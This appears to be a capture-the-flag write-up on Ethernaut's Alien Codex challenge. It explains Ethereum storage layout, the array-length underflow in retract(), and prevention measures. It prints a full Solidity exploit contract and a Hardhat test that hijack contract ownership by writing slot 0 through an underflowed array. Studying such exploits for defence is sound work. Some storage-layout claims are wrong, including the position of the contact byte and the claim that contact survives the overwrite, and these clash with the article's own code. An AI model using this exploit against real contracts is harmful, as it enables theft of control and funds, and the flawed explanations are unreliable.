Skip to content
On this page

Exploiting Ethereum Storage Layout: A Deep Dive into the Alien Codex CTF Challenge

Introduction

The Ethereum blockchain operates on a unique storage model that, while efficient, can introduce subtle vulnerabilities when misunderstood or misused. The Alien Codex challenge from OpenZeppelin's Ethernaut series provides a perfect case study of how storage layout manipulation can lead to critical security breaches. This technical article will dissect the Alien Codex contract, explore Ethereum's storage model, and demonstrate how an attacker can exploit these mechanisms to claim ownership of a supposedly secure contract.

Understanding the Challenge

The Alien Codex Contract

The Alien Codex contract presents itself as a simple storage contract with array manipulation capabilities. At first glance, it appears to be a straightforward implementation with basic functionality:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

The contract inherits from Ownable, which provides basic ownership functionality. It maintains two state variables: a boolean contact and a dynamic array codex of bytes32 values. The contract includes a modifier contacted that requires contact to be true before executing certain functions.

The Security Challenge

The objective is clear: "Claim ownership to complete the level." However, there are no direct functions to transfer ownership. The contract inherits the owner variable from Ownable, but there's no exposed mechanism to modify it. This suggests that we need to find an indirect method to overwrite the storage slot containing the owner address.

Ethereum Storage Layout Fundamentals

How Ethereum Stores State Variables

To understand the vulnerability, we must first comprehend how Ethereum organizes contract storage. Ethereum's storage is a key-value store where each key and value are 32 bytes (256 bits). State variables are stored sequentially in storage slots starting from position 0.

For the Alien Codex contract, the storage layout is as follows:

  • Slot 0: contact (bool) and owner (address) from Ownable
  • Slot 1: codex.length (dynamic array length)
  • Slot keccak256(1): Start of codex array elements

Dynamic Array Storage

Dynamic arrays in Ethereum have a unique storage pattern. The array length is stored at a specific slot (slot 1 in our case), while the array elements themselves start at the storage location determined by keccak256(slot). This means that array elements are stored sequentially starting from keccak256(1).

Storage Overlap and Boundaries

A critical aspect of Ethereum storage is that it's essentially infinite (2²⁵⁶ possible slots), but in practice, contracts use only a fraction of this space. However, due to how array indexing works mathematically, it's possible to access storage slots beyond the apparent boundaries of an array.

The Vulnerability: Underflow and Storage Manipulation

The Retract Function Vulnerability

The most obvious vulnerability in the Alien Codex contract is in the retract() function:

solidity
function retract() public contacted {
    codex.length--;
}

This function decreases the array length without checking if it's already zero. In Solidity 0.5.0, this causes an underflow. When codex.length is 0, subtracting 1 results in 2²⁵⁶ - 1, the maximum value for a uint256.

Consequences of the Underflow

The underflow has profound implications:

  1. Array Length Becomes Massive: codex.length becomes 2²⁵⁶ - 1
  2. Array Bounds Checking Becomes Meaningless: With such a large length, almost any index is technically "within bounds"
  3. Storage Access Becomes Unlimited: We can now write to virtually any storage slot through the revise() function

Calculating the Attack Vector

Finding the Owner's Storage Slot

The owner variable is stored in slot 0 (along with the contact boolean). To overwrite it through the codex array, we need to calculate which array index corresponds to slot 0.

The formula for accessing storage through a dynamic array is:

Storage slot for array[i] = keccak256(arraySlot) + i

Where arraySlot is the storage slot where the array length is stored (slot 1 for codex).

The Mathematical Approach

We need to find an index i such that:

keccak256(1) + i = 0 (mod 2²⁵⁶)

Since storage slots wrap around due to overflow (EVM uses modulo 2²⁵⁶ arithmetic), we can solve for i:

i = 2²⁵⁶ - keccak256(1)

This index will point to storage slot 0, allowing us to overwrite both contact and owner.

Implementing the Calculation

Here's how we calculate the attack index in Solidity:

solidity
// Calculate the starting position of the array in storage
uint256 arrayStart = uint256(keccak256(abi.encode(uint256(1))));

// Calculate the index that points to slot 0
// Since we want: arrayStart + index = 2^256 (which wraps to 0)
uint256 attackIndex = 2**256 - arrayStart;

The Complete Exploit Contract

Attack Strategy

The exploit follows these steps:

  1. Call makeContact() to enable the contacted modifier
  2. Call retract() to trigger the underflow and set array length to maximum
  3. Calculate the index that points to storage slot 0
  4. Use revise() to write our address to that index, overwriting the owner

The Hack Contract Implementation

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

interface IAlienCodex {
    function owner() external view returns (address);
    function contact() external view returns (bool);
    function codex(uint256) external view returns (bytes32);
    function makeContact() external;
    function record(bytes32) external;
    function retract() external;
    function revise(uint256, bytes32) external;
}

contract Hack {
    IAlienCodex private target;

    constructor(address _target) public {
        target = IAlienCodex(_target);

        // Step 1: Enable contact
        target.makeContact();
        
        // Step 2: Trigger underflow to maximize array length
        target.retract();
        
        // Step 3: Calculate the index that points to slot 0
        // Array elements start at keccak256(1)
        uint256 arrayStart = uint256(keccak256(abi.encode(uint256(1))));
        
        // We need: arrayStart + index = 2^256 (wraps to 0)
        // So: index = 2^256 - arrayStart
        uint256 attackIndex = 2**256 - arrayStart;
        
        // Step 4: Prepare new owner data
        // Slot 0 contains: [12 bytes empty][20 bytes owner][1 byte contact]
        // We need to preserve the contact boolean (set to true) while changing owner
        bytes32 newOwnerData = bytes32(uint256(uint160(msg.sender)));
        // Shift left by 12 bytes to align with owner position in slot
        newOwnerData = newOwnerData << 96;
        // Set the least significant byte to 1 (true) for contact
        newOwnerData = newOwnerData | bytes32(uint256(1));
        
        // Alternative simpler approach: Just write the address, contact remains true
        // from our earlier makeContact() call
        bytes32 simpleOwner = bytes32(uint256(uint160(msg.sender)));
        
        // Execute the attack
        target.revise(attackIndex, simpleOwner);
        
        // Verify the attack succeeded
        require(target.owner() == msg.sender, "AlienCodex's owner changing fail!");
    }
}

Testing the Exploit

Comprehensive Test Suite

A proper test suite ensures our exploit works correctly. Here's an enhanced version of the provided test:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { AlienCodex, Hack } from "../typechain-types";

describe("AlienCodex Exploit", function () {
  let alienCodex: AlienCodex;
  let hack: Hack;
  let deployer: any;
  let attacker: any;

  beforeEach(async function () {
    // Get signers
    [deployer, attacker] = await ethers.getSigners();
    
    // Deploy AlienCodex contract
    const AlienCodexFactory = await ethers.getContractFactory("AlienCodex");
    alienCodex = await AlienCodexFactory.deploy() as AlienCodex;
    await alienCodex.deployed();
    
    // Verify initial owner
    expect(await alienCodex.owner()).to.equal(deployer.address);
  });

  it("Should successfully claim ownership", async function () {
    // Deploy the exploit contract
    const HackFactory = await ethers.getContractFactory("Hack");
    hack = await HackFactory.connect(attacker).deploy(alienCodex.address) as Hack;
    await hack.deployed();
    
    // Verify ownership transfer
    expect(await alienCodex.owner()).to.equal(attacker.address);
  });

  it("Should demonstrate storage manipulation", async function () {
    // First, let's examine the storage layout
    const contactBefore = await alienCodex.contact();
    console.log("Contact before attack:", contactBefore);
    
    // Calculate storage positions
    const slot0 = await ethers.provider.getStorageAt(alienCodex.address, 0);
    console.log("Slot 0 (owner + contact):", slot0);
    
    const slot1 = await ethers.provider.getStorageAt(alienCodex.address, 1);
    console.log("Slot 1 (codex.length):", slot1);
    
    // Deploy attack
    const HackFactory = await ethers.getContractFactory("Hack");
    hack = await HackFactory.connect(attacker).deploy(alienCodex.address) as Hack;
    await hack.deployed();
    
    // Check storage after attack
    const slot0After = await ethers.provider.getStorageAt(alienCodex.address, 0);
    console.log("Slot 0 after attack:", slot0After);
    
    // Verify the attack
    expect(await alienCodex.owner()).to.equal(attacker.address);
    expect(await alienCodex.contact()).to.equal(true);
  });
});

Detailed Attack Walkthrough

Step-by-Step Execution

  1. Initial State Analysis

    • Contract is deployed with deployer as owner
    • contact is initially false
    • codex array is empty (length = 0)
  2. Enabling Contact

    • Call makeContact() sets contact = true
    • This is necessary to pass the contacted modifier check
  3. Triggering the Underflow

    • Call retract() when codex.length = 0
    • Underflow occurs: 0 - 1 = 2²⁵⁶ - 1
    • Array length becomes astronomically large
  4. Storage Calculation

    • Compute keccak256(abi.encode(uint256(1)))
    • This gives the starting storage slot of the codex array
    • Calculate the index that maps to storage slot 0
  5. Overwriting Ownership

    • Use revise() with the calculated index
    • Write attacker's address to storage slot 0
    • The contact boolean remains true (least significant byte)

The Mathematics Behind the Attack

Let's break down the calculation more precisely:

solidity
// In the EVM, storage slots are 32 bytes
// We're looking for index i such that:
// keccak256(1) + i ≡ 0 (mod 2^256)

// Since 2^256 ≡ 0 (mod 2^256), we need:
// i = 2^256 - keccak256(1)

// However, we must account for overflow
// When we add i to keccak256(1), we get 2^256
// Which overflows to 0 in 256-bit arithmetic

Prevention and Security Best Practices

How to Prevent This Vulnerability

  1. Use SafeMath or Built-in Overflow Protection

    solidity
    // In Solidity 0.8.0+, overflow protection is built-in
    // For earlier versions, use SafeMath
    codex.length = codex.length.sub(1); // SafeMath version
    
  2. Implement Bounds Checking

    solidity
    function retract() public contacted {
        require(codex.length > 0, "Array is already empty");
        codex.length--;
    }
    
  3. Use Access Controls

    solidity
    function retract() public contacted onlyOwner {
        require(codex.length > 0, "Array is already empty");
        codex.length--;
    }
    
  4. Upgrade to Newer Solidity Versions

    • Solidity 0.8.0+ has built-in overflow checking
    • Consider migrating critical contracts

General Security Recommendations

  1. Always Validate Array Indices

    solidity
    function revise(uint256 i, bytes32 _content) public contacted {
        require(i < codex.length, "Index out of bounds");
        codex[i] = _content;
    }
    
  2. Be Mindful of Storage Layout

    • Understand how variables are packed
    • Be aware of dynamic array storage patterns
    • Consider using mappings instead of arrays for large datasets
  3. Implement Comprehensive Testing

    • Test edge cases (empty arrays, maximum indices)
    • Use fuzzing to discover unexpected behaviors
    • Conduct storage layout analysis

Broader Implications

The Importance of Understanding EVM Storage

The Alien Codex exploit demonstrates that even seemingly simple contracts can harbor critical vulnerabilities when developers don't fully understand Ethereum's storage model. This knowledge gap can lead to:

  1. Storage Collisions: Unintended overwriting of variables
  2. Access Control Bypasses: As demonstrated in this challenge
  3. Data Corruption: Loss or manipulation of critical information

Real-World Impact

Similar vulnerabilities have been exploited in real contracts, leading to:

  • Theft of funds through ownership hijacking
  • Manipulation of critical contract parameters
  • Complete compromise of decentralized applications

Conclusion

The Alien Codex challenge provides a powerful lesson in Ethereum smart contract security. It highlights several critical concepts:

  1. Storage Layout Understanding: Knowing how variables are stored is essential for both development and security auditing.

  2. Integer Overflow/Underflow Risks: These remain one of the most common and dangerous vulnerabilities in smart contracts.

  3. The Importance of Bounds Checking: Always validate array indices and lengths before operations.

  4. Defense in Depth: Multiple layers of protection (access controls, validation, safe arithmetic) are necessary for robust security.

By studying and understanding exploits like this one, developers can build more secure contracts, auditors can better identify vulnerabilities, and the entire Ethereum ecosystem becomes more resilient against malicious actors.

The key takeaway is that in blockchain development, assumptions about "impossible" states or operations can be dangerous. The deterministic, transparent nature of blockchain means that attackers have unlimited time to analyze contracts and find edge cases that developers might overlook. Always code defensively, assume attackers will find unexpected ways to interact with your contract, and thoroughly test all possible states and transitions.

Built with AiAda